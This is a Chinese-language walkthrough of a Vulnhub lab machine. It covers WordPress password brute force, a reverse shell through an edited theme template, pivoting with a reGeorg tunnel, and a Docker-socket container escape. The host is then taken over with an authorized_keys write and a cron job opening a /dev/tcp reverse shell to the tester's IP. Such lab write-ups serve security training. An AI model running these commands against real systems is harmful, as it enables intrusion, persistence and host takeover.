【Vulnhub系列】Vulnhub靶场_Docker逃逸
【Vulnhub系列靶场】Vulnhub_Dr4g0n b4ll靶场渗透
一、环境搭建
下载链接:https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova
配置名称和路径后调整网络连接模式为【NAT】即可
二、信息收集
1、主机发现
1 | nmap -sn 192.168.137.1/24 |
2、端口扫描
1、快速粗略的端口扫描
1 | nmap -F 192.168.137.138 |
2、详细端口扫描
1 | nmap -sT --min-rate 10000 -p- 192.168.137.138 |
3、详细扫描和漏洞探测
1 | nmap -sV -A -p 22,8000 192.168.137.138 |
WordPress框架4.8.27版本,扫出来有 robots.txt 文件和 /wp-admin/ 路径,似乎配置了http-proxy代理
1 | nmap --script=vuln -p 22,8000 192.168.137.138 |
只有一些wordpress 的目录
三、获取shell立足点
1、查看敏感信息
1、主页
2、robots.txt 文件
3、/wp-admin/目录
是wordpress 的登录页
4、/wp-admin/admin-ajax.php文件
是一个0,没有其他内容
2、wpscan信息收集
1、用户名扫描
1 | wpscan --url http://192.168.137.138:8000/ --enumerate u |
使用了twentyseventeen主题,存在bob这一个用户名
用密码生成工具cewl 针对wordpress生成专门的密码
1 | cewl http://192.168.137.138:8000/ -w pass.txt |
进行密码的爆破
1 | wpscan --url "http://192.168.137.138:8000/" -P "pass.txt" --usernames bob |
使用大字典强制爆破
1 | wpscan --url "http://192.168.137.138:8000/" -P /usr/share/wordlists/rockyou.txt --usernames bob --max-threads 100 |
这个需要爆破的时间超级长,可以直接从 rockyou 字典中提取W相关密码进行爆破
3、获取shell 立足点
bob/Welcome1 登录wordpress后台
修改404模板内容
监听本地4444后访问任意一个不存在的路由,如:http://192.168.137.138:8000/aaa
优化shell
1 | SHELL=/bin/bash script -q /dev/null |
四、横向移动
1、查看敏感文件
在wordpress 的配置文件中存在数据的账号密码
不过并不是root用户,就算登录mysql似乎作用也不大
查看 /etc/passwd 文件
1 | root:x:0:0:root:/root:/bin/bash |
只有root一个用户,无其他用户
看IP发现与渗透的IP地址不符,看 .dockerenv 文件发现存在docker容器中
判断是否有其他的docker容器存在
当没有nmap或其他工具的时候,可以使用最简单的ping命令进行IP探测
1 | for i in {1..254};do ping -c 1 -W 1 172.18.0.$i | grep from;done |
前4个IP都存在
2、开正向代理
使用 reGeorg 工具,只需要上传一个php即可开启正向代理
生成 abc123 密码的php代理文件
在kali中通过python开启一个http服务,在靶机使用curl命令下载tunnel.php 文件
1 | curl http://192.168.137.95:8080/neoreg_servers/tunnel.php --output tunnel.php |
之后就可以通过命令配置好代理了
1 | python3 neoreg.py -k abc123 -u http://192.168.137.138:8000/tunnel.php |
默认监听在本地的1080端口,socks5代理
配置好 /etc/proxychains4.conf 文件的代理
就可以使用了
3、对内网IP扫描
在通过ping命令探测出来只有4个IP,对这四个IP做一个基本的探测
1 | proxychains nmap -sT -Pn 172.18.0.1-4 |
4、配置浏览器代理
配置火狐浏览器代理到本地的1080
5、172.18.0.1和172.18.0.2
172.18.0.1只有22、8000两个端口,看8000端口
这还是wordpress 那个网站
我们已经拿到权限的172.18.0.2的80端口也是这个网站,其中一个应该是代理出来的
6、172.18.0.4
172.18.0.4只扫出来一个mysql,应该是个mysql容器,之前拿到了wordpress 的账户密码,不过就算登录了应该也没啥用,后面需要再来看。
7、172.18.0.3
除了22的ssh服务,还有一个os-system让我们很感兴趣
是一个web端的命令行,直接反弹shell
whoami是root权限,在这里进行docker逃逸是比较方便的
五、Docker Socket 逃逸
1、逃逸简介
Docker Socket(也称为Docker API Socket)是Docker引擎的UNIX套接字文件,用于与Docker守护进程(Docker daemon)进行通信,实现执行各种操作,例如创建、运行和停止容器,构建和推送镜像,查看和管理容器的日志等。
也就是说如果这个文件被挂载了之后,就可以直接操作宿主机的docker服务,进行创建、修改、删除镜像,从而实现逃逸
2、判断条件
先判断当前容器是否挂载了 Docker Socke
1 | ls -aslh /var/run/docker.sock |
文件存在,具备逃逸条件
3、开始逃逸
需要当前容器内部也存在docker环境
1 | root@13f0a3bb2706:/# docker ps |
很明显当前容器不存在docker环境,需要手动安装
emmm,更新都成问题,更别提安装docker了,先更新源,uname -a
看到是Ubuntu系统
1 | echo 'deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse |
安装docker,如果这里更新总是出错,重装靶机整个过程重新来一遍
1 | apt-get update |
安装好docker后,执行docker ps
命令
发现这正是当前所处docker环境的几个容器
4、挂载宿主机根目录
我们现在需要在当前容器的内部新开启一个容器,并挂载宿主机根目录,这样可以直接访问到宿主机的根目录文件
1 | docker run -it -v /:/tmp wordpress:latest /bin/bash |
选择已有的wordpress容器
报tty的错误,是因为咱们处于一个非交互的shell中,只需要去掉-t的参数即可
1 | docker run -i -v /:/tmp wordpress:latest /bin/bash |
可以看到在 /tmp 目录下都是宿主机的文件
5、获取宿主机shell
这时候拿到了宿主机的文件,想要获取宿主机的shell,有两种办法,一种是替换宿主机的ssh密钥文件再通过ssh连接,一种是通过定时任务反弹shell。
两种方式都来看一下。
6、ssh公钥文件获取宿主机shell
要么是在靶机上通过 ssh-keygen
命令生成密钥然后导出出来进行连接,要么是在自己本机生成ssh公钥读取后写入。但是在这种情况下,咱们依然是处于容器内部,直接生成密钥是容器内的密钥,而不是宿主机的,因此只能通过写入公钥的方式。
在kali中先通过passwd命令给root设置一个密码,再通过ssh-keygen命令生成公私钥
将生成的公钥内容写入宿主机的公钥
1 | echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKXcLRA4YIVzdqokvgs/BbInccqbK5t91u5ZJwbOkCLh root@kali" >> /tmp/root/.ssh/authorized_keys |
之后直接在kali中进行ssh连接
成功获取到宿主机的shell
7、定时任务获取shell
向定时任务文件中写入反弹shell命令,每分钟执行一次
1 | echo "* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.137.95/7777 0>&1'" >> /tmp/var/spool/cron/crontabs/root |
在kali起7777的监听等待一分钟即可